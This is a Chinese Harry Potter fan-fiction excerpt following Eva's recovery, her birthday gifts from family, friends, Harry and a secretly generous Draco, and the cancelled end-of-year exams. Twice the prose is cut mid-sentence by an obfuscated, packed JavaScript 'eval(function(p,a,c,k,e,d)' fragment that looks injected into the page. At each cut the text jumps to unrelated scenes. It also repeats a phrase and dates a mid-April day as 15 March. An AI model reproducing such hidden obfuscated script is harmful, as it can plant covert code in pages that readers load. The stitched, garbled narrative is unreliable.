偶尔,在夜深人静、医疗翼只有她一个人醒着的时候,一丝焦虑会悄悄爬上心头。这种虚弱感要持续多久?她还能像以前一样自如地使用魔法吗?那些落下的功课怎么办?但每当这时,她会摸摸腕上的玉佩,想想爷爷平静的眼睛,想想朋友们关切的问候,那份焦虑便会慢慢沉淀下去。 四月初的一天,天气格外好。阳光明晃晃地洒进来,连医疗翼常年弥漫的药水味都似乎被冲淡了些。庞弗雷夫人在进行了一系列比平时更详细的检查后,脸上终于露出了这些天来最舒展的一个笑容。 “很好,张小姐。各项指标都稳定了,生命力恢复的势头也起来了。今天,你可以出院了。” 正在一旁整理衣物、准备陪Eva去窗边坐坐的妈妈闻言,手里的动作猛地停住,眼圈瞬间红了。她转过身,一把抱住还坐在床沿的Eva,肩膀轻轻耸动,好一会儿才发出带着泣音的声音:“太好了……终于可以回去了……” 爸爸站在门口,听到消息,一直挺直的背脊似乎也微不可察地松了松。他走过来,大手轻轻按在Eva肩上,用力握了握,什么也没说,但那份如释重负的暖意,透过掌心传递过来。 出院的过程很简单。庞弗雷夫人将几种不同颜色的药水仔细装进一个小布袋,又递给妈妈一张写满注意事项和后续饮食调理建议的羊皮纸。“回去后第一个月是关键,一定要严格按照这上面的来。课堂可以慢慢恢复,但魔咒实践课、变形术这些需要消耗心神的,暂时还不能上。我会通知各位教授。” 妈妈帮她换上带来的干净春装校袍——一件料子更轻薄、颜色更鲜亮的深蓝色长袍,边缘的铜蓝色镶边在阳光下闪着细碎的光。爸爸替她拎着那个装药的小布袋。Eva自己慢慢站起来,脚下还是有些虚浮,但踩在地上的感觉踏实而真实。她一步一步,走出医疗翼的门,穿过长长的走廊,走向城堡主楼。 阳光从高大的彩绘玻璃窗倾泻而下,在古老的石板上投下斑斓的光影。空气中飘荡着青草、泥土和远处厨房飘来的烤面包香气。学生们抱着书本匆匆走过,交谈声、笑声、脚步声……所有这些曾经熟悉的喧嚣,此刻涌入耳中,竟有种恍如隔世的新鲜感。 回到拉文克劳塔楼,回答鹰状门环“何物流逝,却令智慧沉淀?”的问题时,她想了想,轻声说:“时间。” 门应声而开。 公共休息室里午后的阳光正好,壁炉里跳跃着不大的火苗,几个学生在看书、下棋或低声讨论。看到她进来,许多人抬起头,投来友善的微笑和点头致意。没有围观的喧嚣,只有拉文克劳式的、含蓄而真诚的接纳。曼蒂和帕德玛从棋盘边跳起来,跑过来一边一个小心地扶住她——尽管她表示自己可以走。 “欢迎回来,Eva!”曼蒂的眼睛亮晶晶的,“你的床铺和桌子我们都整理过了,虽然家养小精灵每天都会来,但我们还是想让你感觉更……嗯,更像回家。”她有些不好意思地补充,“帕德玛还偷偷在你抽屉里放了几颗从蜂蜜公爵买的‘提神醒脑’糖,不过庞弗雷夫人可能不会同意你现在吃。” 寝室里一切如旧,整洁得近乎一丝不苟。但窗台上那盆小仙人掌旁边,多了一个小小的、用彩纸折的千纸鹤,翅膀上还用极细的笔写着“早日康复”,一看就是曼蒂的手艺。阳光透过高窗,在木地板上投下明亮的光斑。 Eva慢慢走到自己的床前坐下,手指抚过熟悉的被单。这一刻,她才真正感到:回家了。 57. 春归与新生 出院后的日子,以一种新的、缓慢的节奏流淌。 Eva暂时免除了所有实践课程和繁重作业,只需要旁听一些理论课,如魔法史、天文理论部分。大部分时间,她待在公共休息室或图书馆靠窗的安静角落,慢慢阅读,或者只是看着窗外的庭院,看草木一天天变绿,看黑湖的冰彻底化开,泛着粼粼的波光。 她的力气在一点点回来,但那种深层的、属于“炁”的充盈感,依然遥远。爷爷来信说,这是急不来的,让她顺其自然,多接触自然生气。于是她每天下午,都会在曼蒂或帕德玛的陪伴下,去城堡附近的草地或湖边慢慢散步,感受微风、阳光和植物生长的气息。 妈妈在霍格莫德村的“三把扫帚”旅馆住了几天,确认她适应良好后,才红着眼圈,一步三回头地返回伦敦大使馆工作,临行前,反复叮嘱她要按时吃药,不要逞强,有任何事立刻写信。爸爸则在她出院后第三天就飞往东欧,处理积压的外交事务。他们的离开让Eva有些空落,但也让她更专注于自己的恢复。 四月中旬的一个早晨,Eva像往常一样醒来,觉得身体似乎比昨日又轻快了一分。正要去洗漱,忽然注意到床脚边上,整整齐齐地放着几个包裹。 最上面是一个扁平的木盒,浅褐色的木头,纹理细腻,一看就是江南的手艺。旁边是一个稍大的、用素雅浅青色纸包装的盒子,系着深蓝色丝带。还有几个小一些的、包装各异的包裹。 这时,室友也陆续起床了。 “Eva,你的包裹!”曼蒂好奇地凑过去,“今天是什么特别的日子吗?” Eva怔了一下。三月十五日。她完全忘了。 丽莎也好奇地靠了过来,在朋友们期待的目光中,Eva蹲下身开始拆那个长条的木盒。里面是一套崭新的文房四宝——砚台是端溪老坑的,墨锭带着淡淡的松烟香,笔是狼毫小楷,纸是洒金宣。内附一封信,信上只有一句话:“十三岁,新章之始。静心观己,莫向外求。”她将信小心收好,心里那片因为远离家乡而时常空落的地方,被这些遥远的牵挂填得满满的。 然后是那个最大的浅蓝色包裹。里面是一件手工刺绣的披肩,底色是月白,绣着疏疏的竹影和几行小字:“竹影扫阶尘不动,月轮穿沼水无痕。”是爷爷的笔迹,妈妈绣上去的。 最下面压着一封信。妈妈的字迹工整而温暖: “丽华,十三岁了。时间过得真快,一转眼你就是大姑娘了。爸爸妈妈不能陪在你身边,但我们的心永远和你在一起。这套文房是爷爷挑的,他说你该有一套像样的了。披肩是我绣的,春天早晚凉,记得披上。照顾好自己,按时吃饭吃药。生日快乐,我们的宝贝。” Eva的手指轻轻抚过披肩上的竹影刺绣,针脚细密,能想象出妈妈在灯下一针一线绣制的情景。喉咙突然有些发紧。 “真漂亮……”曼蒂小声赞叹,“你妈妈手真巧。” 帕德玛轻声说:“生日快乐,Eva。” Eva这才想起,按照农历推算,今天确实是她的生日。她自己都差点忘了。 “等等,还有呢!”曼蒂指着另外几个小包裹。 一个用深绿色纸包装、系着银色丝带的盒子格外显眼。Eva拿起它——和圣诞节那盒巧克力的包装一模一样。她打开,里面是一小瓶高级羽毛笔保养墨水,深蓝色,瓶身贴着古拉丁文标签,写着“恒久之蓝”。盒子里有张小卡片,上面用整齐的花体字写着:“恢复顺利,以及生日快乐。”没有署名。 “又是匿名?”帕德玛拿起墨水瓶对着光看,“颜色真漂亮……这牌子很贵的。到底是谁送的啊?” “哇哦,”曼蒂眼睛亮了,她促狭地用胳膊肘轻轻碰了碰Eva,“是不是哪个偷偷喜欢你的男生送的?快说,是不是有人暗恋我们拉文克劳最神秘的小女巫?” Eva的脸微微发热,摇了摇头:“我不知道。”她确实不知道。 Eva的指尖抚过光滑的瓶身。同样的包装,同样的花体字,同样的没有署名。拉文克劳的理智开始自动分析:拉文克劳的理智开始自动分析:这份礼物价格不菲但不过分张扬,挑选用心(知道她常用羽毛笔且注重细节),包装风格带着一种冷冽的讲究。几个可能性闪过脑海:拉文克劳的高年级学长?他们更可能当面赠送或附上卡片。赫奇帕奇的熟人?风格似乎不符……一个淡金色的头发、灰蓝色眼睛的形象不受控制地浮现出来,但她立刻制止了自己——这想法毫无根据,且过于离奇。他们之间几乎从无友善交集,只有两次尴尬的碰撞和长久的冷淡。再无其他。 “今天到底是什么日子啊?”丽莎问,“又是爷爷的礼物,又是匿名墨水……Eva,你生日吗?” “嗯,”Eva点头,“按照我家乡的农历算,今天……差不多是我的生日。” “你的生日?!”曼蒂尖叫起来,立刻又捂住嘴压低声音,“你怎么不早说!我们什么都没准备!” “没关系,”Eva忙说,“我自己都差点忘了。” “那怎么行!”帕德玛立刻说,“生日一定要庆祝的,尤其是你今年……”她没说完,但大家都明白,尤其是经历了那样的事情之后。丽莎已经转身去翻自己的箱子,说要找找有没有适合当礼物的东西。 早餐后,当Eva和室友们回到拉文克劳休息室时,消息不知怎么传开了。 帕德玛送了一本新的笔记本,封面是她自己手绘的拉文克劳鹰徽;丽莎送了一小瓶樱花香味的魔法墨水;曼蒂则是一小盒从蜂蜜公爵买来的“绝对安全无副作用”的魔法糖果。她们都表示这次太匆忙了,等Eva完全恢复一定要好好补过。 秋·张微笑着递过来一小盒精致的桂花糕:“生日快乐,Eva。我妈妈刚寄来的,说是家乡的味道,我想你可能会喜欢。” 接着,其他一些相熟的拉文克劳同学也纷纷送上小礼物或祝福——一支自动纠错羽毛笔,几颗据说来自东方的、有安神效果的花草茶包,一本关于东方魔法植物的小册子。虽然礼物简单,但每份都带着真诚的暖意。 就在这时,一个高年级的学姐从外面回来,脸上带着一种混合了惊讶和好奇的神情,声音不大却足以让附近几个人听见:“Eva,哈利·波特在门口,说想见你。” 公共休息室静默了一瞬,随即响起几声刻意压低的咳嗽和翻书声。几个拉文克劳隐晦地交换了眼神——救世主在拉文克劳塔楼门口指名道姓找人,这本身就足以构成一个小小的新闻。曼蒂和帕德玛也停下了动作,关切地看向Eva。 Eva在朋友们混合着好奇与鼓励的目光中走向门口。早春的走廊还有些寒冷,风吹得她脸色显得更加苍白,但脚步很稳。 哈利·波特正站在拉文克劳塔楼入口处的拱门下,手里紧紧攥着一个小布包,指节因为用力而微微发白。他显然不是个隐蔽的来访者——几个正要进出塔楼的拉文克劳学生停下脚步,投来毫不掩饰的打量目光,远处还有一两个赫奇帕奇学生好奇地张望。波特出现在这里本身不算稀奇,但每次这种直接的、带着明确目的的现身,总会引起这种克制的、持续的注视。哈利的下颌线绷得很紧,绿眼睛直视着Eva走来的方向,仿佛完全无视了周围那些无形的视线。这份专注里,有种经历过生死后特有的、不顾一切的坦然。 “生日快乐,”哈利的声音比平时低,却异常清晰,绿眼睛紧盯着她的脸,像在确认她是否真的安好,“我听说……按照你们的方法计算,今天是你的生日。”他把布包递过来,动作有些笨拙,但很坚定,“时间太赶,没准备什么像样的。” Eva接过布包。布料是普通的灰色,但洗得很软,边缘有细密的针脚——像是从旧袍子上裁下来的。她打开,里面是一枚金色的魁地奇徽章,格兰芬多的狮子在火光下反射着温暖的光泽。徽章下面压着一小张折得很整齐的羊皮纸。 “这是我一年级赢得学院杯时得到的,”哈利快速地说,目光落在徽章上,又抬起看向她,“我……我一直留着。它对我来说……很重要。” 他的声音越来越轻,最后几个字几乎成了气音。走廊里有学生经过,脚步声在石板上回响。 “我不能收这么贵重的东西。”Eva轻声说。 “你可以。”哈利打断她,语气突然变得坚定,“它应该……在需要它的人手里。”他顿了顿,声音又软下来,“我想…也许它能带来好运,你现在需要这个。” Eva的手指抚过徽章边缘。金属是温的——不知是火光的温度,还是哈利一直握在手里的温度。她展开那张羊皮纸,上面只有一行字,字迹比平时潦草,像是匆匆写就: “给最勇敢的拉文克劳。——H.P.” 她抬起头,对上哈利的眼睛。那双绿眼睛里有很多东西:未散的疲惫、真诚的感激、还有一丝……她看不懂的、更深的东西,像湖底的水草,在平静水面下轻轻摇曳。 “谢谢。”她最终只说。 哈利像是松了口气,又像是有些失落。他点了点头,后退半步,拉开了两人之间过近的距离。“你……好好休息。庞弗雷夫人说你要多睡觉。” “我会的。” 他转身离开,脚步很快,深红色的袍角在拐角处一闪就不见了。Eva还站在原地,手里握着微温的徽章和那张纸条。走廊的火光在她深蓝色的袍子上镀了一层金边,她看起来很小,很安静,但脊背挺得笔直。她能感觉到身后塔楼入口处,那些尚未散去的、探究的目光。她将徽章和纸条仔细收好,面色平静地转身,走回了温暖的公共休息室。 曼蒂立刻凑上来想问些什么。帕德玛轻轻碰了碰曼蒂的手臂,示意她别多说。但几个高年级学生交换了眼神——有些事,不言而喻。 那天晚餐时,礼堂里一切如常。但Eva的餐盘旁边,多了一小份家养小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最让他心烦的是,她居然对格兰杰和韦斯莱笑了。对着一个泥巴种和一个纯血叛徒,笑得那么自然。他早上让猫头鹰悄悄送去的恒久之蓝墨水——三十加隆一瓶!——她大概随手就扔抽屉里了吧。 “啧。”他不自觉发出声音。 “你到底怎么了?”潘西追问。 “没什么,”德拉科扬起下巴,恢复惯有的讥诮语调,“只是觉得有些人的生日过得真寒酸。收到破本子和剩菜当礼物,还好意思笑。” 克拉布在旁边嘟囔:“韦斯莱家的馅饼其实挺香的……” “闭嘴,克拉布。”德拉科瞪了他一眼。 他又看了一眼拉文克劳长桌。她正在把韦斯莱的馅饼分给旁边几个拉文克劳女生——居然还分?真够……大方的。 一股说不清的烦躁涌上来。他送的墨水比她收到的所有礼物加起来都贵,可他只能坐在这儿看着。而她那瓶墨水,可能永远都不会知道是谁送的。 算了。他对自己说。反正他也只是……不想欠人情。对,就是因为万圣节和圣诞节前撞了她两次(虽然第二次明明是她撞上来),都没道歉。送瓶墨水就算扯平了。 德拉科用力切下一块羊排,切得太狠,刀子在盘子上刮出刺耳的声音。 “你能安静点吃饭吗?”潘西抱怨。 “不能。”德拉科没好气地说,但动作放轻了些。 他的余光又瞟向拉文克劳长桌。她正低头和旁边的印度女生说话,侧脸在烛光下…… 关我什么事。德拉科把目光收回来,专注对付盘子里的食物。她爱跟谁玩就跟谁玩,爱收谁的破礼物就收谁的。反正他礼物送到了,这事就算完了。 接下来的几周,Eva的恢复进入了稳定期。她开始逐步恢复一些简单的课程,先是魔法史和天文理论课,然后是草药学的观察记录部分。弗立维教授特意为她调整了魔咒课的进度,从最基础的无声咒理论开始,避免消耗心神。 五月初,霍格沃茨迎来了真正的春天。庭院里开满了鲜花,黑湖边柳树抽了新芽,连城堡走廊里的画像们都换上了春装。Eva的体力明显好转,已经可以正常行走,甚至能参加一些轻松的课外活动——比如在曼蒂和帕德玛的陪伴下,去看格兰芬多对拉文克劳的魁地奇训练。 训练场上,哈利骑着光轮2000在空中穿梭,动作比上学期更加流畅自信。Eva坐在看台上,披着妈妈绣的竹影披肩,感受着温暖的春风。她想起地下洞穴里的黑暗和血腥,想起那圈金色的光晕,想起哈利握着格兰芬多宝剑的手…… “想什么呢?”曼蒂碰碰她的胳膊。 “没什么,”Eva摇摇头,“只是觉得……春天真好。” 是啊,春天真好。一切都过去了,伤口在愈合,生命在重新生长。而她,正被这些细小的、真实的温暖托着,一步一步,稳稳地走在归程之上。前路或许仍有未知,但此刻,阳光很好,朋友们都在,而她,刚刚满十三岁。 58. 隐痕与明路 五月的霍格沃茨,已彻底浸入初夏的丰饶。 庭院不再是初春那种试探性的嫩绿,而是铺开了浓稠欲滴的深绿毯子。山毛榉的叶子完全舒展开,在午后阳光下闪着油润的光泽,风过时发出细密而沉实的沙沙声。黑湖水温煦如一大块微微晃动的绿松石,倒映着湛蓝得没有一丝杂质的天空。空气里混合着晒暖的青草香、图书馆旧羊皮纸被热气蒸出的微醺气味,以及从城堡深处隐约飘来的、家养小精灵正在准备期末晚宴的活泼甜香。 春天那些惊心动魄的痕迹,正被这种丰盈的、几乎有些慵懒的夏日气息温柔地覆盖。至少表面上是这样。 下午没有课,Eva选择了拉文克劳公共休息室里一个不常坐的位置——靠近西侧书架的一个安静角落。这里离壁炉稍远,但有一扇窄长的窗户,正好能望见远处禁林边缘那一片正在由嫩黄转为墨绿的树冠。阳光透过古老的玻璃,在地板上投下一块被窗棂切割成几何形状的、明亮温暖的光斑。 她摊开《初级变形术指南》,翻到“火柴变针:精确控制练习”那一章。书页边缘有她前几个月预习时留下的细小笔记,字迹工整,但现在看来竟有些陌生。出院后补课的日子里,弗立维教授特意为她调整了进度,从最基础的无声咒理论开始,麦格教授也允许她暂时只完成理论作业,实践部分可以延后。 但Eva知道,她需要重新捡起的,不仅仅是落下的咒语。 她拿起魔杖——紫杉木,凤凰羽毛,十又四分之三英寸——握在手里,那种熟悉的温润触感依旧。她闭上眼睛,不是要施咒,只是感受。体内那股从小就如呼吸般自然的“炁”,依然沉睡在极深处,像一口被汲干了太久、需要整个雨季才能重新蓄满的古井。偶尔,在极安静的深夜醒来,她能感到丹田处一丝极微弱的暖意,像冬眠动物最轻的鼻息,转瞬即逝。 爷爷的信里说得明白:“丽华,透支本源,如伤树根。枝叶易复,根脉难速。勿急勿躁,顺四时之气,待其自生。” 于是她不再强求。每天清晨的静坐,不再是为了调动什么,而只是让呼吸平缓,让心神像湖水般沉淀下来,等待那颗埋得太深的种子,在属于自己的季节里破土。白天,她认真上课,课后在曼蒂和帕德玛的陪伴下散步,让阳光和草木生长的气息浸润身体的每一个角落。晚上,她会含一片爷爷寄来的草药叶片,味道微苦,带着清凉的后韵,然后早早休息。 日子像黑湖的水,表面平静无波,缓缓向前流淌。 但有些东西,终究不一样了。 前天下午的草药课上,斯普劳特教授教大家照料疙瘩藤的幼株。第三温室内温暖潮湿,空气中弥漫着肥沃土壤和植物汁液的特殊气味。Eva和帕德玛一组,面前的小花盆里,深紫色的幼苗蜷缩着,叶片上已有不起眼的小突起。 轮到Eva喷洒银蓝色的营养剂时,她做得很慢。手腕要稳,力度要匀,视线要跟随雾气的落点——她把全部注意力集中在“控制”这个动作本身,不去想体内的空乏,也不去回忆任何咒语。只是专注眼前,让细密的银蓝色雾霭均匀笼罩叶片,没有一滴多余的水珠滴落。 “非常稳定的控制力,张小姐。”斯普劳特教授不知何时走了过来,脸上带着温和的赞许,“你的专注力恢复得很好。” 教授没有加分,但她目光里的认可,以及之后巡视时在Eva身边多停留的片刻,让帕德玛课后小声说:“斯普劳特教授好像特别关心你恢复得怎么样。” Eva知道,不止斯普劳特教授。 麦格教授在变形术理论课上提问她时,语气会比问其他人更耐心些;弗立维教授讲解无声咒的魔力微调时,目光会不经意地扫过她,像是在确认她是否跟得上;就连斯内普教授,在地下教室阴冷的光线里,那双黑眼睛偶尔掠过她时,也不再是纯粹的审视,而多了一丝……评估?不是课堂表现的评估,更像是某种更深层次的衡量。 他们知道。Eva能感觉到。教授们知道她参与了什么,虽然细节可能模糊,但那份在危机中展现出的——庞弗雷夫人转述邓布利多校长的话是“勇气与清醒的智慧”——已经改变了他们在课堂上看她的方式。 这不是通过沙漏里突然增加的蓝宝石来体现的。拉文克劳的分数依然稳步增长,那是同学们日常努力的结果。教授们的认可,是一种更隐性的、沉淀在目光和语气里的东西。像一份无声的信任,沉甸甸的,让她走路时背脊会不自觉地挺得更直些。 当然,还有同学们。 拉文克劳内部,曼蒂、帕德玛和丽莎几乎成了她的“影子护卫”,走到哪儿跟到哪儿,尽管Eva反复说自己已经没事了。其他学院里,几个在魔咒练习小组或图书馆常碰面的赫奇帕奇学生,见面时也会对她露出格外友好的笑容。 以及哈利、罗恩和赫敏。 他们之间形成了一种新的、心照不宣的默契。在图书馆遇见,会自然地坐在相邻的桌子,偶尔低声交换几句关于如尼文作业或曼德拉草特性的看法,但绝不提及密室、蛇怪、日记本那些字眼。仿佛那些共同经历的黑暗和生死边缘的寒意,被暂时封存在了某个透明的玻璃罐里,大家默契地不去晃动它,让它静静沉淀在记忆底层。 但Eva能感觉到,哈利看她的眼神里,那份沉重的感激和某种更深的东西,并没有随着时间淡化。有一次,她在庭院里慢慢走着,抬头看见哈利从猫头鹰棚屋的方向回来。他站在高高的石阶上,绿眼睛望向她这边,阳光在他乱糟糟的黑发上镀了层金边。两人目光相遇时,哈利愣了一下,然后对她点了点头。那个点头很轻微,但里面包含了一种经历过同样深渊的人才懂的、无需言说的联结。 他只是点了点头,就转身走了。Eva在原地站了一会儿,初夏的风吹过她的袍角,带着暖意和远处青草的味道。 那天下午,他们一起去图书馆。在门口,撞上了斯莱特林那几个人。 以德拉科·马尔福为首,潘西·帕金森挽着他的胳膊,克拉布和高尔像两座沉默的肉山跟在后面。两队人在石拱门下迎面遇上,空气瞬间凝滞了几秒。 马尔福的目光先扫过哈利,嘴角习惯性地向下撇了撇,露出那种练习过无数次的讥诮弧度。然后他的视线快速滑过罗恩和赫敏,在掠过Eva时——非常短暂,可能只有零点几秒——那双灰蓝色的眼睛里没有什么特别的表情,既没有平时的傲慢,也没有圣诞节前走廊相撞时的错愕或慌乱,只是极其平淡地一瞥,就像看走廊墙上又一幅普通的肖像画。随即,他的目光重新聚焦在哈利身上。 “哟,波特,”他拖长了腔调,声音在安静的午后走廊里显得格外清晰,“又带着你的小跟班们来拯救世界了?这次是图书馆里的哪本书威胁到了霍格沃茨的安全?” 哈利的脸沉了下来。“让开,马尔福。” “哦,我挡着救世主的路了?”马尔福假笑着,非但没让,反而向前走了一小步,“真是抱歉。不过,我听说你们最近在偷偷练习什么……高深魔法?为了下学期吓唬谁?需要我给你们点斯莱特林的‘友好建议’吗?当然,”他假模假式地补充,“是收费的。” 赫敏的脸气得发红:“我们不需要你的任何‘建议’,马尔福!我们靠的是正常的学习进度!” “正常?”马尔福嗤笑一声,目光在赫敏怀里那摞厚书上扫过,“抱着一堆比你人还高的书就叫正常?可惜,有些东西不是光靠死读书就能学会的,泥巴——” “马尔福!”哈利和罗恩同时抽出魔杖,声音里的怒意让走廊里的空气都颤了一下。 那个词没有完整地说出来。马尔福像是被什么打断了,他苍白的脸上闪过一丝极快的不耐——不是对哈利他们的,更像是对自己某种习惯性表演的中断。他耸了耸肩,脸上恢复了那种懒洋洋的、无所谓的表情。 就在这时,平斯夫人那辨识度极高的、带着不悦的脚步声从图书馆里面传来。“门口在吵什么?!这里是图书馆!要吵架出去吵!” 马尔福侧身,做了个夸张的“请”的手势。“走吧,别耽误救世主和他的朋友们‘拯救图书馆’。” 他率先走进去,潘西紧紧跟上,克拉布和高尔笨拙地挤了过去。经过Eva身边时,他的脚步没有丝毫停顿,袍角带起的风都是冷的,连眼角的余光都没有再给她一个。 有点……怪。 哈利、罗恩和赫敏还站在原地,气得浑身发抖。平斯夫人严厉地看着他们:“你们进不进来?不进来就把门口让开!” “我们进去。”哈利深吸一口气,收起魔杖,低声说。 她跟在朋友们身后走进图书馆,凉爽的、带着旧书和灰尘气味的空气包裹上来。赫敏还在生气,把书重重放在桌上;罗恩低声咒骂着拉开椅子;哈利坐在赫敏旁边,眉头紧锁,但目光和Eva对上时,微微摇了摇头,像是说“别理他”。 Eva和帕德玛在稍远一点的桌子坐下。帕德玛小声抱怨:“马尔福真是……一点没变。” Eva打开要还的书,没有说话。她想起刚才马尔福那个平淡至极的眼神,还有他刻意表演般的挑衅。 真的没变吗? 平淡至极的眼神,在挑衅时突然卡住的微妙,还有那种刻意到不自然的彻底无视……这些碎片拼凑起来的图案,和以前那个总把恶意挂在脸上、恨不得全世界都注意他的德拉科·马尔福,似乎有了些许偏差。 不过,这些微妙的异样,就像夏日黑湖深处一丝几乎察觉不到的冷水脉动,掠过也就掠过了。眼下,她有更实际的事情要关注:按时服药,完成斯普劳特教授要求的草药生长周期图表,以及,在身体允许的前提下,慢慢找回那种操纵魔力时的、如呼吸般自然的稳定感。 五月的日子一天天滑向六月。随着O.W.Ls和N.E.W.Ts考试的临近,城堡里的空气渐渐被一种混合着羊皮纸、墨水和焦虑汗水的特殊气味所浸透。图书馆的座位越来越难抢,公共休息室熬夜的人越来越多,连走廊里都能看到高年级学生抱着大部头课本念念有词地匆匆走过。 对二年级的学生来说,虽然离大考还很遥远,但期末考试的阴影也开始悄然笼罩。麦格教授在变形术课上宣布了期末考试范围:火柴变针的成功率与精细度,以及将甲虫变为带有特定质感(如骨质、木质、金属)纽扣的稳定控制。弗立维教授则强调了无声咒的理论理解和基础漂浮咒的无咒语尝试将作为重要评分参考。斯内普教授的魔药学期末考试向来以严苛著称,肿胀药水的熬制纯度是重中之重。就连宾斯教授也布置了一篇关于十七世纪妖精叛乱影响的长篇论文。 拉文克劳塔楼里,讨论复习策略的声音也渐渐多了起来。 “麦格教授说‘特定质感’的纽扣!”一天晚上,曼蒂抓着自己刚变出来的、摸起来像软木塞的“木质纽扣”,哀嚎道,“我的甲虫现在不是变成一滩泥,就是变成一块石头,根本控制不住软硬!” 丽莎则捧着她那本被画得密密麻麻的《魔法史里程碑》,试图找出妖精叛乱的“根本经济诱因”,嘴里不停嘟囔着“妖精金属铸造权……古灵阁特许状……” Eva的恢复期复习,比旁人更需耐心。她不能长时间耗神,庞弗雷夫人和爷爷的信都再三叮嘱:温补为主,循序渐进。她给自己制定了严格的作息:上午精神好时,集中复习理论性强的魔法史和魔药配方;下午状态稍差,就进行不需要大量消耗精神的草药学笔记整理或天文图表绘制;傍晚散步后,再试着进行一些极轻度的、爷爷教的呼吸静坐,不追求效果,只为让心神沉淀。 关于变形术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“这不是一个轻易做出的决定,”邓布利多继续说,表情严肃,“我们充分理解考试对于衡量学习成果、督促学业进步的重要性。然而,我们也必须认识到,持续数月的紧张氛围、对人身安全的普遍担忧、以及部分同学所经历的直接创伤,对所有人的学习状态和心理健康造成了不容忽视的影响。” 他的目光似乎无意地扫过格兰芬多长桌(金妮·韦斯莱已经返校,脸色仍有些苍白,但精神好多了),拉文克劳长桌,以及赫奇帕奇长桌几个空位(科林·克里维、贾斯廷·芬列里、厄尼·麦克米兰虽然恢复了,但仍在接受定期检查和心理疏导)。 “我们认为,在此情况下,举行传统的期末考试,既无法公平地反映同学们的真实学识,也可能给许多人带来不必要的额外压力,不利于身心的彻底恢复。” 他顿了顿,语气稍微缓和:“当然,这并不意味着学业的终结。各位教授将根据大家平时的课堂表现、作业完成情况以及学期论文,来综合评定本学年的成绩。我们鼓励所有同学,在接下来的时间里,继续以适合自己的节奏巩固知识,为下一学年的学习打下坚实基础。” “最后,”邓布利多的声音变得格外温和,“我希望大家能利用好考试取消后多出来的时间,充分休息,与朋友相处,享受霍格沃茨的初夏时光。让这座城堡重新充满欢笑与活力,或许是我们此刻最需要的‘考试’。” 他坐下了。礼堂里先是一片寂静,消化着这个惊人的消息,随即爆发出一阵比刚才更热烈、更持久的喧哗。兴奋的讨论声、解脱的叹息声、以及对暑假的提前憧憬,充满了整个空间。 格兰芬多长桌,罗恩已经激动得站了起来,激动得差点打翻南瓜汁,“梅林的胡子!取消了!真的取消了!” 赫敏的表情则有些复杂,似乎松了一口气,又好像为失去一个“证明自己”的机会而有点遗憾,但最终也露出了笑容。 纳威·隆巴顿先是一脸茫然,然后如释重负地瘫在座位上,小声念叨着“不用考魔药了……不用考魔药了……” 拉文克劳这边,起初是几秒钟的寂静,这消息需要被理性消化。然后议论声才嗡嗡响起。 “这会影响期末成绩的权重计算吗?”一个五年级学生迅速转向同伴,“平时的论文和实验报告占比会提高,我们需要重新评估……” 但低年级这边,曼蒂已经高兴地抱住了帕德玛:“不用考试了!不用变纽扣了!”帕德玛也笑着,但还算克制:“可是平时的作业和论文还是要算分的……” Eva坐在她们旁边,慢慢喝了一口牛奶。考试取消,对她来说无疑是件好事。这意味着她不必在身体和精力尚未完全恢复的情况下,去挑战高强度的集中考核。她可以继续按照自己缓慢而稳妥的节奏来恢复和学习。 她看向教师席。麦格教授正和弗立维教授低声交谈,表情依然严肃,但眉头似乎舒展了些。斯内普教授的脸还是一如既往的阴沉,看不出情绪。斯普劳特教授则对几个兴奋过头的赫奇帕奇学生露出了理解的微笑。 赫奇帕奇长桌传来一阵真心实意的、放松的叹息和掌声。几个之前因袭击事件压力巨大的学生,眼圈都有些发红。 斯莱特林长桌的反应最为微妙。短暂的惊愕后,几声刻意拔高的嗤笑响起。“真是体贴入微啊,邓布利多,”一个七年级学生拖长了腔调,声音不大却足以让附近的人听见,“用这种方式照顾某些人的……脆弱神经。”潘西·帕金森正对旁边的女生撇嘴:“有些人怕是要高兴坏了,毕竟靠‘特殊情况’就能蒙混过关。”德拉科·马尔福没有参与议论,他只是慢条斯理地切着盘子里的香肠,嘴角挂着一丝意义不明的弧度,灰蓝色的眼睛扫过格兰芬多和拉文克劳长桌,最终落在面前的餐盘上,仿佛这一切都与他无关。 这个消息像一阵春风,吹散了城堡里最后一丝因考试逼近而凝聚的沉重阴云。接下来的几天,城堡里的气氛明显轻松欢快了许多。庭院里看书、散步、闲聊的学生更多了,魁地奇球场上的训练和娱乐赛也变得更加频繁热闹。黑湖边常常能看到成群的学生,享受着初夏的阳光和微风。 59. 休止与勋章 期末考试取消的消息,像块投入黑湖的石头,激起的涟漪在城堡里荡漾了好几天。 最初的喧闹过去了,日子滑进一种前所未有的、松缓的节奏里。六月的阳光一日比一日慷慨,把城堡古老的石头晒得暖烘烘的,连常年阴冷的地下走廊也少了些寒意。庭院里,学生们三三两两坐在草地上,书本摊在膝头,却更多时候是仰头看天,或者闭眼感受拂过脸颊的、带着青草甜香的风。魁地奇球场从早到晚都有人,不再是紧张的训练,更多是嬉闹般的传接球和追逐,笑声远远地飘过来,被暖风揉碎了,散在空气里。 就连费尔奇,咒骂声似乎都少了些——也许是因为走廊里再没有急匆匆赶去复习、不小心掉落羊皮纸或泼洒墨水的人了。洛丽丝夫人跟在他脚边,尾巴重新竖了起来,虽然还有点警惕地竖起耳朵,但至少不再是一尊僵硬的石像。 Eva的生活也顺应着这份集体的松驰,调整了节奏。庞弗雷夫人开的药水减了量,从每天三次变成早晚各一次,味道也没那么苦了。爷爷的信很准时,每周一封,用毛笔写在宣纸上,折得方方正正。信里不再提“炁”或“静坐”,只是问些琐事:城堡的槐树开花了没有?黑湖的水鸟今年多不多?有没有好好吃饭睡觉?像任何一个牵挂孙女的普通老人。 